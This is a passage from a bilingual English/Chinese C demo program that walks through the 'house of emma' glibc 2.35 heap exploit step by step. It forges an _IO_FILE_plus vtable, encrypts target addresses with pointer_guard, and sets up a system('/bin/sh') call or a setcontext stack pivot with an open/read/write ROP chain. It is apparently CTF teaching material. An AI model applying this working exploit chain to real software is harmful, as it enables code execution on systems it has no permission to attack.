" char *_IO_read_base;\t/* Start of putback+get area. */\n"
" char *_IO_write_base;\t/* Start of put area. */\n"
" char *_IO_write_ptr;\t/* Current put pointer. */\n"
" char *_IO_write_end;\t/* End of put area. */\n"
" char *_IO_buf_base;\t/* Start of reserve area. */\n"
" char *_IO_buf_end;\t/* End of reserve area. */\n"
"\n"
" /* The following fields are used to support backing up and undo. */\n"
" char *_IO_save_base; /* Pointer to start of non-current get area. */\n"
" char *_IO_backup_base; /* Pointer to first valid character of backup area */\n"
" char *_IO_save_end; /* Pointer to end of non-current get area. */\n"
"\n"
" struct _IO_marker *_markers;\n"
"\n"
" struct _IO_FILE *_chain;\n"
"\n"
" int _fileno;\n"
" int _flags2;\n"
" __off_t _old_offset; /* This used to be _offset but it's too small. */\n"
"\n"
" /* 1+column number of pbase(); 0 is unknown. */\n"
" unsigned short _cur_column;\n"
" signed char _vtable_offset;\n"
" char _shortbuf[1];\n"
"\n"
" _IO_lock_t *_lock;\n"
"#ifdef _IO_USE_OLD_IO_FILE\n"
"};\n\033[0m");

puts("\033[32mThe key element we need to forge is the *vtable pointer.\033[0m");
puts("\033[32m其中的关键就是*vtable指针。\033[0m");
puts("\033[32mIt's worth noticing that we need to write correct *_lock value in our fake _IO_FILE.\033[0m");
puts("\033[32m值得注意的是,我们需要写入正确的*_lock指针值到伪造的_IO_FILE结构体中。\033[0m");
puts("\033[32mThe value of *_lock should be \033[31m_IO_stdfile_1_lock.\033[0m");
puts("\033[32m*_lock的值应该是\033[31m_IO_stdfile_1_lock.\033[0m");
puts("\033[32mSo that we need to know the loading base address of libc.\033[0m");
puts("\033[32m所以我们需要知道libc的加载基地址。\n\033[0m");

puts("\033[35mNow let's get loading base address of libc through the address of function puts().\033[0m");
puts("\033[35m现在让我们通过puts()函数获取一下libc的加载基地址。\033[0m");

int(*func)(const char*) = puts;
printf("\033[32mThe address of function puts() is: \033[31m%p\n\033[0m", func);
printf("\033[32mputs函数的地址为: \033[31m%p\n\033[0m", func);
printf("\033[32mSo that the loading address of libc is: \033[31m%p\n\033[0m", func - 0x80ed0);
printf("\033[32m因此libc的加载地址为: \033[31m%p\n\033[0m", func - 0x80ed0);
puts("\033[33m(The offset address of function puts() is 0x80ed0)\033[0m");
puts("\033[33m(puts函数的偏移量为0x80ed0)\n\033[0m");

size_t libc_base = (size_t)(func - 0x80ed0);
size_t stderr_ptr = (size_t)(libc_base + 0x21a860);

printf("\033[32mSince we know the libc base address, we can also know the address of pointer stderr: \033[31m%p\033[0m\n", (void*)stderr_ptr);
printf("\033[32m既然现在我们已经知道了libc的加载地址,我们也可以获得stderr指针的地址: \033[31m%p\033[0m\n", (void*)stderr_ptr);

puts("\033[32mNow let's satisfy the second prerequisite of the exploit: \033[0m");
puts("\033[32m下面让我们构造一下这个漏洞利用的第二个前提条件: \033[0m");
puts("\033[33mGet the value of pointer_guard or change it to a known value.\033[0m");
puts("\033[33m获取到pointer_guard的值并将其修改为一个已知值。\033[0m");
puts("\033[32mOur house of emma has a stable call chain, and we'll need the value to guide rip to the function we want.\033[0m");
puts("\033[32m我们的house of emma利用方式有一条完整的函数调用链,我们需要这个pointer_guard的值来引导rip到我们想要的函数。\033[0m");
puts("\033[32mWhere the value is used will be introduced later.\033[0m");
puts("\033[32m我们之后将会介绍这个pointer_guard的地址在什么地方。\033[0m");
puts("\033[32mIt's worth noticing that\033[31m the value of pointer guard is not located in libc, while before libc.\033[0m");
puts("\033[32m需要注意的是pointer guard的值并不在libc中,而是在libc的低地址处。\033[0m");
puts("\033[32mIf you use pwndbg, you can see that before libc, there exists an anonymous space, with its size of 0x3000.\033[0m");
puts("\033[32m如果使用pwndbg,你可以看到在libc前面有一个匿名的内存区域,大小为0x3000。\033[0m");
puts("\033[32mThe tls struct is located in this anonymous area, which includes the value of pointer_guard.\033[0m");
puts("\033[32mtls结构体就位于这个匿名的内存空间中,它包含有pointer_guard。\033[0m");
puts("\033[32mTo be more detail, the value of pointer_guard is located in (libc_base - 0x3000 + 0x770)\033[0m");
puts("\033[32m更具体地说,pointer_guard的值应该位于(libc_base - 0x3000 + 0x770)\n\033[0m");

puts("\033[32mActually, the name of the struct is \033[31mtcbhead_t\033[32m. Here is the structure:\033[0m");
puts("\033[32m实际上,这个结构体的名字是\033[31mtcbhead_t\033[32m. 下面是它的构造:\033[0m");
puts("\033[33m(line 36, /sysdeps/x86_64/nptl/tls.h)\033[0m");
puts("\033[34mtypedef struct\n"
"{\n"
" void *tcb;\t\t/* Pointer to the TCB. Not necessarily the\n"
"\t\t\t thread descriptor used by libpthread. */\n"
" dtv_t *dtv;\n"
" void *self;\t\t/* Pointer to the thread descriptor. */\n"
" int multiple_threads;\n"
" int gscope_flag;\n"
" uintptr_t sysinfo;\n"
" uintptr_t stack_guard;\n"
" uintptr_t pointer_guard;\n"
" unsigned long int unused_vgetcpu_cache[2];\n"
" /* Bit 0: X86_FEATURE_1_IBT.\n"
" Bit 1: X86_FEATURE_1_SHSTK.\n"
" */\n"
" unsigned int feature_1;\n"
" int __glibc_unused1;\n"
" /* Reservation of some values for the TM ABI. */\n"
" void *__private_tm[4];\n"
" /* GCC split stack support. */\n"
" void *__private_ss;\n"
" /* The lowest address of shadow stack, */\n"
" unsigned long long int ssp_base;\n"
" /* Must be kept even if it is no longer used by glibc since programs,\n"
" like AddressSanitizer, depend on the size of tcbhead_t. */\n"
" __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));\n"
"\n"
" void *__padding[8];\n"
"} tcbhead_t;\033[0m");
puts("\033[32mWe can see that the stack guard is right above the pointer guard, so we can't absolutely change the stack_guard.\033[0m");
puts("\033[32m我们可以发现stack_guard就在pointer_guard的上面,因此我们绝对不能修改stack_guard的值。\033[0m");
printf("\033[32mLet's calculate the address of pointer_guard: \033[31m%p\033[0m\n", (size_t*)(libc_base - 0x3000 + 0x770));
printf("\033[32m让我们计算一下pointer_guard的地址: \033[31m%p\033[0m\n", (size_t*)(libc_base - 0x3000 + 0x770));

size_t* pointer_guard_address = (size_t*)(libc_base - 0x3000 + 0x770);
printf("\033[32mThe value of pointer_guard is: \033[31m%#zx\033[0m\n", *pointer_guard_address);
printf("\033[32mpointer_guard的值为: \033[31m%#zx\033[0m\n", *pointer_guard_address);
puts("\033[32mIn CTF problems you can't always get the original value of pointer_guard, but you can also change it to a known value.\033[0m");
puts("\033[32m在CTF赛题中你可能不能获取到pointer_guard的值,但你可以将其改写为一个已知值。\n\033[0m");

puts("\033[32mOK, now we can try to forge a _IO_FILE struct.\033[0m");
puts("\033[32m那么现在我们就来开始伪造_IO_FILE结构体。\033[0m");
puts("\033[32mAttention: what we forge is actually _IO_FILE_plus struct, which contains a _IO_FILE struct and a vtable pointer(_IO_jump_t*)\033[0m");
puts("\033[32m注意:我们伪造的实际上是_IO_FILE_plus结构体,其包含_IO_FILE结构体的所有内容以及一个vtable指针(_IO_jump_t*)\033[0m");

struct _IO_FILE* fake_file_struct = (struct _IO_FILE*)malloc(0x100);
size_t* vtable = (size_t*)((char*)fake_file_struct + sizeof (struct _IO_FILE));

printf("\033[32mWe just allocate a fake _IO_FILE_plus struct into the heap: \033[31m%p\033[m\n", fake_file_struct);
printf("\033[32m我们刚刚分配了一个假的_IO_FILE_plus结构体到堆: \033[31m%p\033[m\n", fake_file_struct);
printf("\033[32mThe address of fake _IO_FILE_plus is: \033[31m%p\033[0m\n", fake_file_struct);
printf("\033[32m这个假的_IO_FILE_plus结构体的地址为: \033[31m%p\033[0m\n", fake_file_struct);
printf("\033[32mThe address of vtable pointer is: \033[31m%p\033[0m\n", vtable);
printf("\033[32mvtable指针的地址为: \033[31m%p\033[0m\n", vtable);
puts("\033[32mThen we are going to change the value of _lock and vtable pointer.\033[0m");
puts("\033[32m然后我们来修改_lock和vtable指针的值。\033[0m");
puts("\033[32mThe _lock should be changed into \033[31m_IO_stdfile_1_lock\033[32m, which is in \033[31m(libc_base + 0x21ba70).\033[0m");
puts("\033[32m_lock的值应该被修改为\033[31m_IO_stdfile_1_lock\033[32m, 它的地址为\033[31m(libc_base + 0x21ba70).\033[0m");
puts("\033[32mThe vtable should be changed into \033[31m(_IO_cookie_jumps + 0x38)\033[32m, "
"which points to function \033[31m_IO_file_xsputn.\033[0m");
puts("\033[32mvtable指针应该被修改为\033[31m(_IO_cookie_jumps + 0x38)\033[32m, "
"其指向函数\033[31m_IO_file_xsputn.\033[0m\n");

printf("\033[32mBefore alteration: fake_file_struct->_lock = \033[33m%p\033[0m\n", fake_file_struct->_lock);
printf("\033[32m修改前: fake_file_struct->_lock = \033[33m%p\033[0m\n", fake_file_struct->_lock);
fake_file_struct->_lock = (void *) (libc_base + 0x21ba70);
printf("\033[32mAfter alteration: fake_file_struct->_lock = \033[31m%p\033[0m\n", fake_file_struct->_lock);
printf("\033[32m修改后: fake_file_struct->_lock = \033[31m%p\033[0m\n\n", fake_file_struct->_lock);

printf("\033[32mBefore alteration: fake_file_struct->vtable = \033[33m%#zx\033[0m\n", *vtable);
printf("\033[32m修改前: fake_file_struct->vtable = \033[33m%#zx\033[0m\n", *vtable);
*vtable = (size_t)(libc_base + 0x215b80 + 0x38);
printf("\033[32mAfter alteration: fake_file_struct->vtable = \033[31m%#zx\033[0m\n", *vtable);
printf("\033[32m修改后: fake_file_struct->vtable = \033[31m%#zx\033[0m\n\n", *vtable);

size_t* top_chunk_size = (size_t*)((char*)fake_file_struct + 0x108);
printf("\033[32mThrough pwndbg, we can see that the size of top chunk is at fake_file_struct + 0x108 = %p\033[0m\n", top_chunk_size);
printf("\033[32m通过pwndbg我们可以看到top chunk的大小保存在fake_file_struct + 0x108 = %p\033[0m\n", top_chunk_size);
printf("\033[32mThe value of top_chunk->size is: %#zx\033[0m\n", *top_chunk_size);
printf("\033[32mtop chunk的大小top_chunk->size为: %#zx\033[0m\n", *top_chunk_size);
puts("\033[32mIn function sysmalloc, there is a check for page alignment of top chunk: \n\033[0m");
puts("\033[32m在函数sysmalloc中,有一个检查top chunk页对齐的代码片段: \033[0m");
puts("\033[33m(line 2617, /malloc/malloc.c)\033[0m");
puts("\033[34m assert ((old_top == initial_top (av) && old_size == 0) ||\n"
" ((unsigned long) (old_size) >= MINSIZE &&\n"
" prev_inuse (old_top) &&\n"
" ((unsigned long) old_end & (pagesize - 1)) == 0));\n\033[0m");
puts("\033[32mThe function assert here in malloc.c is a bit different from that in other file.\033[0m");
puts("\033[32m这个malloc.c中的assert函数与其他文件中的函数不太一样。\033[0m");
puts("\033[32mBecause in malloc.c there is a #define statement: \033[0m");
puts("\033[32m因为在malloc.c中有一个#define语句: \n\033[0m");
puts("\033[33m(line 292, /malloc/malloc.c)\033[0m");
puts("\033[34m# define __assert_fail(assertion, file, line, function)\t\t\t\\\n"
"\t __malloc_assert(assertion, file, line, function)\n\033[0m");
puts("\033[32mSo that if the assertion in malloc.c failed, it will call function __malloc_assert.\033[0m");
puts("\033[32m所以如果这个检查失败了,那么它就会调用__malloc_assert.\033[0m");

puts("\033[32mThe content of function __malloc_assert is: \033[0m");
puts("\033[32m__malloc_assert函数的内容为: \033[0m");
puts("\033[33m(line 297, /malloc/malloc.c)\033[0m");
puts("\033[34mstatic void\n"
"__malloc_assert (const char *assertion, const char *file, unsigned int line,\n"
"\t\t const char *function)\n"
"{\n"
" (void) __fxprintf (NULL, \"%s%s%s:%u: %s%sAssertion `%s' failed.\\n\",\n"
"\t\t __progname, __progname[0] ? \": \" : \"\",\n"
"\t\t file, line,\n"
"\t\t function ? function : \"\", function ? \": \" : \"\",\n"
"\t\t assertion);\n"
" fflush (stderr);\n"
" abort ();\n"
"}\033[0m\n");

puts("\033[32mWhile in function __fxprintf, it will utilize stderr to output something, and that is our chance.\033[0m");
puts("\033[32m函数__fxprintf会利用stderr来输出错误信息,这就是我们利用的机会。\033[0m");
puts("\033[32mThrough forging fake _IO_FILE struct, we can turn to anywhere that can be executed.\033[0m");
puts("\033[32m通过伪造_IO_FILE结构体,我们可以执行任意地址的代码。\033[0m");
puts("\033[32mThe easiest way in CTF is turning the execution flow into one gadget.\033[0m");
puts("\033[32m在CTF比赛中最简单的方法就是将执行流转到one_gadget中。\033[0m");
puts("\033[32mBut one gadgets in libc 2.35 all have many constraints, which we need to pay attention to.\033[0m");
puts("\033[32m但glibc 2.35版本的one gadget有很多的限制条件需要注意。\033[0m");
puts("\033[32mMoreover, many problems today have sandboxes, where you cannot use the syscall EXECVE.\033[0m");
puts("\033[32m另外,现在的很多赛题都有沙箱,我们可能不能调用execve的系统调用。\033[0m");
puts("\033[32mSo stack pivoting may be the most common step in exploitation.\033[0m");
puts("\033[32m因此栈迁移就是本方法利用中较为常用的手段了。\n\033[0m");

puts("\033[32mIn function __vxprintf_internal, which is called indirectly by __fxprintf, it will call function _IO_cookie_read: \033[0m");
puts("\033[32m__fxprintf函数会间接调用到__vxprintf_internal函数,后者会调用_IO_cookie_read函数: \033[0m");
puts("\033[34m<__vfprintf_internal+280> call qword ptr [r12 + 0x38]\033[0m");
puts("\033[32mThe 'r12' here is (_IO_cookie_jumps + 0x38), which is the value of *vtable we wrote in before.\033[0m");
puts("\033[32m这里的r12寄存器的值就是(_IO_cookie_jumps + 0x38), 这就是我们前面写的*vtable值。\033[0m");
puts("\033[32mAs you can see in struct _IO_cookies_jump: \033[0m");
puts("\033[32m就如_IO_cookies_jump中代码展示的这样: \033[0m");
puts("\033[33m(line 111, /libio/iofopncook.c)\033[0m");
puts("\033[34mstatic const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {\n"
" JUMP_INIT_DUMMY,\n"
" JUMP_INIT(finish, _IO_file_finish),\n"
" JUMP_INIT(overflow, _IO_file_overflow),\n"
" JUMP_INIT(underflow, _IO_file_underflow),\n"
" JUMP_INIT(uflow, _IO_default_uflow),\n"
" JUMP_INIT(pbackfail, _IO_default_pbackfail),\n"
" JUMP_INIT(xsputn, _IO_file_xsputn),\n"
" JUMP_INIT(xsgetn, _IO_default_xsgetn),\n"
" JUMP_INIT(seekoff, _IO_cookie_seekoff),\n"
" JUMP_INIT(seekpos, _IO_default_seekpos),\n"
" JUMP_INIT(setbuf, _IO_file_setbuf),\n"
" JUMP_INIT(sync, _IO_file_sync),\n"
" JUMP_INIT(doallocate, _IO_file_doallocate),\n"
" JUMP_INIT(read, _IO_cookie_read),\n"
" JUMP_INIT(write, _IO_cookie_write),\n"
" JUMP_INIT(seek, _IO_cookie_seek),\n"
" JUMP_INIT(close, _IO_cookie_close),\n"
" JUMP_INIT(stat, _IO_default_stat),\n"
" JUMP_INIT(showmanyc, _IO_default_showmanyc),\n"
" JUMP_INIT(imbue, _IO_default_imbue),\n"
"};\n\033[0m");
puts("\033[31m(_IO_cookie_jumps + 0x38) \033[32mpoints to \033[35m_IO_file_xsputn\033[32m.\033[0m");
puts("\033[31m(_IO_cookie_jumps + 0x38) \033[32m指向的是\033[35m_IO_file_xsputn\033[32m.\033[0m");
puts("\033[31m(_IO_cookie_jumps + 0x38 + 0x38) \033[32mpoints to \033[35m_IO_cookie_read\033[32m.\033[0m");
puts("\033[31m(_IO_cookie_jumps + 0x38 + 0x38) \033[32m指向的是\033[35m_IO_cookie_read\033[32m.\033[0m");
puts("\033[32mSo here we let it call _IO_cookie_read function.\033[0m");
puts("\033[32m所以这里我们让程序调用_IO_cookie_read函数.\n\033[0m");

puts("\033[32mThen let's have a look at _IO_cookie_read function.\033[0m");
puts("\033[32m让我们看一下_IO_cookie_read函数的内容。\033[0m");
puts("\033[34m<_IO_cookie_read>:\tendbr64 \n"
" <_IO_cookie_read+4>:\tmov rax,QWORD PTR [rdi+0xe8]\n"
" <_IO_cookie_read+11>:\tror rax,0x11\n"
" <_IO_cookie_read+15>:\txor rax,QWORD PTR fs:0x30\n"
" <_IO_cookie_read+24>:\ttest rax,rax\n"
" <_IO_cookie_read+27>:\tje <_IO_cookie_read+38>\n"
" <_IO_cookie_read+29>:\tmov rdi,QWORD PTR [rdi+0xe0]\n"
" <_IO_cookie_read+36>:\t\033[31mjmp rax\033[34m\n"
" <_IO_cookie_read+38>:\tmov rax,0xffffffffffffffff\n"
" <_IO_cookie_read+45>:\tret\033[0m\n");
puts("\033[32mAs you can see, it directly calls rax, and 'rdi' here is actually our fake _IO_FILE_plus address.\033[0m");
puts("\033[32m可以看到,它直接call rax,这里的rdi实际上就是假的_IO_FILE_plus结构体的地址。\033[0m");
puts("\033[32mSo that we can write any executable address into [rdi+0xe8].\033[0m");
puts("\033[32m因此我们可以将任意可执行的地址写入到[rdi+0xe8].\033[0m");
puts("\033[32mHowever, don't forget some instructions in the middle.\033[0m");
puts("\033[32m但是,别忘了中间还有几条指令。\033[0m");
puts("\033[32mHere, you can see a 'ror' instruction and a 'xor' instruction that change the value of rax.\033[0m");
puts("\033[32m这里你可以看到有一个ror指令和一个xor指令,这些指令会修改rax的值。\033[0m");
puts("\033[32mThat is actually a kind of protection strategy used in high versions of glibc ---- encrypting the address.\033[0m");
puts("\033[32m这实际上是高版本glibc的一种保护方式——将地址进行简单加密。\033[0m");
puts("\033[32mHere, these two instruction is decrypting rax, first ror 11 bits, and second xor fs:0x30h, which is our \033[31mpointer_guard.\033[0m");
puts("\033[32m这里的这两条指令实际上是在解密rax,首先循环右移0x11位,然后异或fs:0x30h,这实际上就是\033[31mpointer_guard.\033[0m");
puts("\033[32mNow you know that why we need the value of pointer_guard, it's important for us to encrypt executable address.\033[0m");
puts("\033[32m现在你应该知道为什么我们需要修改pointer_guard的值了,它对于地址的加密过程很重要。\033[0m");
puts("\033[32mThe encryption algorithm is easy to get: first xor pointer_guard, and second rol 0x11 bits.\033[0m");
puts("\033[32m加密方式很好推出来:首先异或pointer_guard,然后循环左移0x11位。\n\033[0m");

puts("\033[32mPay attention to the instruction before 'jmp rax': mov rdi, QWORD PTR [rdi+0xe0]\033[0m");
puts("\033[32m注意'jmp rax'之前的指令: mov rdi, QWORD PTR [rdi+0xe0]\n\033[0m");
puts("\033[32mIf there is not any sandbox, we can let rax=system() address, and [rdi+0xe0]='/bin/sh' address.\033[0m");
puts("\033[32m如果这里没有沙箱,我们可以让rax等于system函数地址,[rdi+0xe0]等于字符串/bin/sh的地址\033[0m");
puts("\033[32mElse, you can also fill it with 'pcop' to trigger stack pivoting and open, read, write flag file.\033[0m");
puts("\033[32m否则,我们也可以填充pcop的地址来触发栈迁移,然后打开、读、写flag文件。\n\033[0m");

if(mode == 1){
puts("\033[35mYou chose the getshell mode.\033[0m");
puts("\033[35m你选择了getshell模式。\033[0m");
puts("\033[32mSo that we'll write '/bin/sh' address into [rdi+0xe0] and encrypted system() address into [rdi+0xe8]\033[0m");
puts("\033[32m所以我们在[rdi+0xe0]处写入字符串/bin/sh的地址,将加密后的system函数地址写入[rdi+0xe8]处。\033[0m");

char** sh_addr = (char**)((char*)fake_file_struct + 0xe0);
printf("\033[32mThe address of string '/bin/sh' should be written in: \033[31m%p\n\033[0m", sh_addr);
printf("\033[32m字符串'/bin/sh'的地址应该被写到: \033[31m%p\n\033[0m", sh_addr);
*sh_addr = sh;
printf("\033[32m指针解引用的值为: \033[31m%p\033[0m\n", *sh_addr);

size_t* system_addr = (size_t*)((char*)fake_file_struct + 0xe8);
printf("\033[32mThe address of function system() should be written in: \033[31m%p\n\033[0m", system_addr);
printf("\033[32m函数system()的地址应该被写到: \033[31m%p\n\033[0m", system_addr);
*system_addr = (size_t)system;
printf("\033[32mNow the value of the pointer is: \033[31m%#zx\033[0m\n", *system_addr);
printf("\033[32m指针解引用的值为: \033[31m%#zx\033[0m\n", *system_addr);
printf("\033[32mThen we need to let it xor with pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
printf("\033[32m然后我们需要让这个值异或pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
*system_addr ^= *pointer_guard_address;
printf("\033[32mAfter xor, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m", *system_addr);
printf("\033[32m异或之后[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m", *system_addr);
puts("\033[32mThen we need to let it rol 0x11 bits.\n\033[0m");
puts("\033[32m然后我们循环左移0x11位:\n\033[0m");
*system_addr = (*system_addr << 0x11) + (*system_addr >> 0x2f);
printf("\033[32mAfter rol, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m\n", *system_addr);
printf("\033[32m循环左移后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m\n", *system_addr);
}else if(mode == 2){
puts("\033[32mYou chose the orw mode.\033[0m");
puts("\033[32m你选择了orw模式。\033[0m");
puts("\033[1;31mIMPORTANT: You must make sure that there is a flag file in this directory, or we'll be unable to read.\033[0m");
puts("\033[1;31m注意:你必须保证当前文件夹下有一个flag文件,否则该程序将无法读取。\n\033[0m");

puts("\033[32mIn glibc 2.35, we usually use setcontext() function to trigger stack pivoting, but with a little difference from lower versions.\033[0m");
puts("\033[32m在glibc 2.35中,我们一般使用setcontext函数进行栈迁移,但与低版本的glibc的利用方式有一些小差别。\033[0m");
puts("\033[32mIn lower version, the instruction that changes the rsp is: 'mov rsp, [rdi+xx]'.\033[0m");
puts("\033[32m在低版本glibc中,修改rsp的指令为: 'mov rsp, [rdi+xx]'.\033[0m");
puts("\033[32mThe rdi here is our [fake _IO_FILE_plus struct + 0xe0].\033[0m");
puts("\033[32m这里的rdi是[fake _IO_FILE_plus struct + 0xe0].\033[0m");
puts("\033[32mBut in glibc 2.35, the instruction was changed to: \033[31m'mov rsp, [rdx+xx]'\033[32m.\033[0m");
puts("\033[32m但是在glibc 2.35中,这条指令被修改为: \033[31m'mov rsp, [rdx+xx]'\033[32m.\033[0m");
puts("\033[32mSo that we can't change the value of rsp only by writing forged data in our fake _IO_FILE_plus struct.\033[0m");
puts("\033[32m所以我们不能仅通过将假的数据写入到假的_IO_FILE_plus结构体而修改rsp的值。\033[0m");
puts("\033[32mHowever, we still have our way to exploit. It's called pcop, which is just a unique gadget.");
puts("\033[32m但我们依然能够进行漏洞利用,需要一个pcop,这是一个特殊的gadget。\n");

puts("\033[32mTry to use this command below in the terminal: \033[0m");
puts("\033[32m可以尝试在终端运行以下命令:: \033[0m");
puts("\033[1;34mobjdump -d /lib/x86_64-linux-gnu/libc.so.6 -M intel | grep '1675b'\033[0m");
puts("\033[32mYou can see a gadget in offset \033[31m0x1675b0\033[32m: \033[0m\n");
puts("\033[32m你可以在偏移\033[31m0x1675b0\033[32m处看到有一个gadget: \033[0m\n");
puts("\033[34m 1675b0: 48 8b 57 08 mov rdx,QWORD PTR [rdi+0x8]\n"
" 1675b4: 48 89 04 24 mov QWORD PTR [rsp],rax\n"
" 1675b8: ff 52 20 call QWORD PTR [rdx+0x20]\033[0m\n");
puts("\033[32mIt seems that we can use the value of [rdi+0x8] to change rdx to any value as we like.\033[0m");
puts("\033[32m我们似乎可以使用[rdi+0x8]的值去修改rdx的值为任意值。\033[0m");
puts("\033[32mAnd then we can change the rip into [rdx+0x20].\033[0m");
puts("\033[32m然后我们就可以将rip修改到[rdx+0x20]。\033[0m");
puts("\033[32mWe can change rdx to a place that we can control, then write setcontext() address in it to trigger stack pivoting.\033[0m");
puts("\033[32m我们可以将rdx修改到一个我们可以控制的地方,然后将setcontext函数的地址写进去来触发栈迁移。\033[0m");
puts("\033[32mTo keep the environment of heap, we use a space in bss segment to complete this process.\033[0m");
puts("\033[32m为了保持堆环境,我们使用bss段的一块空间来完成这个过程。\033[0m");
printf("\033[32mThe address of bss space is: \033[31m%p\033[32m.\033[0m\n", &space);
printf("\033[32mbss对应地址为: \033[31m%p\033[32m.\033[0m\n\n", &space);

puts("\033[32mWe let [rdi+0xe0] = bss address, [rdi+0xe8] = pcop address.\033[0m");
puts("\033[32m我们让[rdi+0xe0] = bss的地址, [rdi+0xe8] = pcop的地址.\033[0m");
size_t* bss_address = (size_t*)((char*)fake_file_struct + 0xe0);
printf("\033[32mThe address of bss should be written in: \033[31m%p\n\033[0m", bss_address);
printf("\033[32m这个bss的地址应该被写入: \033[31m%p\n\033[0m", bss_address);
*bss_address = (size_t)(&space);
printf("\033[32mThe value of the pointer is: \033[31m%#zx\033[0m\n", *bss_address);
printf("\033[32m这个指针的值现在为: \033[31m%#zx\033[0m\n", *bss_address);

size_t* pcop = (size_t*)((char*)fake_file_struct + 0xe8);
printf("\033[32mThe address of pcop should be written in: \033[31m%p\n\033[0m", pcop);
printf("\033[32mpcop的地址应该被写入到: \033[31m%p\n\033[0m", pcop);
*pcop = (size_t)(libc_base + 0x1675b0);
printf("\033[32mThe value of the pointer is: \033[31m%#zx\033[0m\n", *pcop);
printf("\033[32m这个指针现在的值为: \033[31m%#zx\033[0m\n", *pcop);
puts("\033[32mDon't forget we need to encrypt the pcop value.\033[0m");
puts("\033[32m别忘了我们需要加密pcop的值。\033[0m");

printf("\033[32mThen we need to let it xor with pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
printf("\033[32m然后我们需要让pcop与pointer_guard异或: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
*pcop ^= *pointer_guard_address;
printf("\033[32mAfter xor, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m", *pcop);
printf("\033[32m异或之后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m", *pcop);

puts("\033[32mThen we need to let it rol 0x11 bits.\033[0m");
puts("\033[32m然后我们让它循环左移0x11位。\033[0m");
*pcop = (*pcop << 0x11) + (*pcop >> 0x2f);
printf("\033[32mAfter rol, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m\n", *pcop);
printf("\033[32m循环左移之后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m\n", *pcop);

puts("\033[32mNow, we are ready to write something in our bss segment.\033[0m");
puts("\033[32m现在我们准备写一些内容到bss段。\033[0m");
puts("\033[32mNoticing that the first instruction of pcop moves [rdi+0x8] to rdx, while rdi now is address of bss.\033[0m");
puts("\033[32m注意到pcop的第一条指令将[rdi+0x8]的值移动到rdx,而rdi此时的值是bss处的地址。\033[0m");
printf("\033[32mSo that we can write the address of somewhere in bss to [rdi+0x8](%p).\033[0m", &(space[1]));
printf("\033[32m所以我们可以将任意地址写到[rdi+0x8](%p)这个bss段中的地址。.\033[0m", &(space[1]));
space[1] = (size_t)space;
printf("\033[32m[rdi+0x8] now is: \033[31m%#zx\033[32m.\n\033[0m", space[1]);
printf("\033[32m[rdi+0x8]现在的值为: \033[31m%#zx\033[32m.\n\033[0m", space[1]);

puts("\033[32mThen we need to write address of setcontext into [rdx+0x20].\033[0m");
puts("\033[32m然后我们需要写setcontext函数的地址到[rdx+0x20]。\033[0m");
puts("\033[32mHave a look at disassembly result of function setcontext: \033[0m");
puts("\033[32m看一下setcontext函数的汇编: \033[0m");
puts("\033[34m.text:0000000000053A6D \033[1;31mmov rsp, [rdx+0A0h]\033[34m\n"
".text:0000000000053A74 mov rbx, [rdx+80h]\n"
".text:0000000000053A7B mov rbp, [rdx+78h]\n"
".text:0000000000053A7F mov r12, [rdx+48h]\n"
".text:0000000000053A83 mov r13, [rdx+50h]\n"
".text:0000000000053A87 mov r14, [rdx+58h]\n"
".text:0000000000053A8B mov r15, [rdx+60h]\n"
".text:0000000000053A8F test dword ptr fs:48h, 2\n"
".text:0000000000053A9B jz loc_53B56\n"
"\t\t\t......\n"
".text:0000000000053B56 \033[1;31mmov rcx, [rdx+0A8h]\033[34m\n"
".text:0000000000053B5D \033[1;31mpush rcx\033[34m\n"
".text:0000000000053B5E mov rsi, [rdx+70h]\n"
".text:0000000000053B62 mov rdi, [rdx+68h]\n"
".text:0000000000053B66 mov rcx, [rdx+98h]\n"
".text:0000000000053B6D mov r8, [rdx+28h]\n"
".text:0000000000053B71 mov r9, [rdx+30h]\n"
".text:0000000000053B75 mov rdx, [rdx+88h]\n"
".text:0000000000053B75 ; } // starts at 53A30\n"
".text:0000000000053B7C ; __unwind {\n"
".text:0000000000053B7C xor eax, eax\n"
".text:0000000000053B7E retn\033[0m");

puts("\033[32mWe let [rdx+0xa0] = bss + 0x100, and let [rdx+0xa8] = some gadget address as the start of our ROP chain.\033[0m");
puts("\033[32m我们让[rdx+0xa0] = bss + 0x100, 让[rdx+0xa8] = 某些gadget的地址作为ROP链的开始。\033[0m");
puts("\033[32mThere are some useful gadgets: \033[0m");
puts("\033[32m这里是一些有用的gadget地址: \033[0m");
size_t poprdi_ret = libc_base + 0x2a3e5;
size_t poprsi_ret = libc_base + 0x2be51;
size_t poprdx_rbx_ret = libc_base + 0x90529;
printf("\033[33mpop rdi ; ret : %#zx\n\033[0m", poprdi_ret);
printf("\033[33mpop rsi ; ret : %#zx\n\033[0m", poprsi_ret);
printf("\033[33mpop rdx ; pop rbx ; ret : %#zx\n\033[0m", poprdx_rbx_ret);
puts("\033[32mHere are some key functions: \033[0m");
puts("\033[32m这里是一些关键函数的地址: \033[0m");
size_t readfunc_addr = (size_t)read;
size_t writefunc_addr = (size_t)write;
size_t openfunc_addr = (size_t)open;
printf("\033[33mopen(): %#zx\n\033[0m", openfunc_addr);
printf("\033[33mread(): %#zx\n\033[0m", readfunc_addr);
printf("\033[33mwrite(): %#zx\n\033[0m", writefunc_addr);

space[0x20 / 8] = (size_t)(libc_base + 0x53a6d);
space[0xa0 / 8] = (size_t)(&space[0x100 / 8]);
space[0xa8 / 8] = poprdi_ret;

puts("\033[32mThen let's construct our ROP chain.\033[0m");
puts("\033[32m然后我们来构造ROP链。\033[0m");
space[0x100 / 8] = (size_t)flag;
space[0x108 / 8] = poprsi_ret;
space[0x110 / 8] = 0;
space[0x118 / 8] = openfunc_addr;
space[0x120 / 8] = poprdi_ret;
space[0x128 / 8] = 3;
space[0x130 / 8] = poprsi_ret;
space[0x138 / 8] = (size_t)(&space[0xf0]);
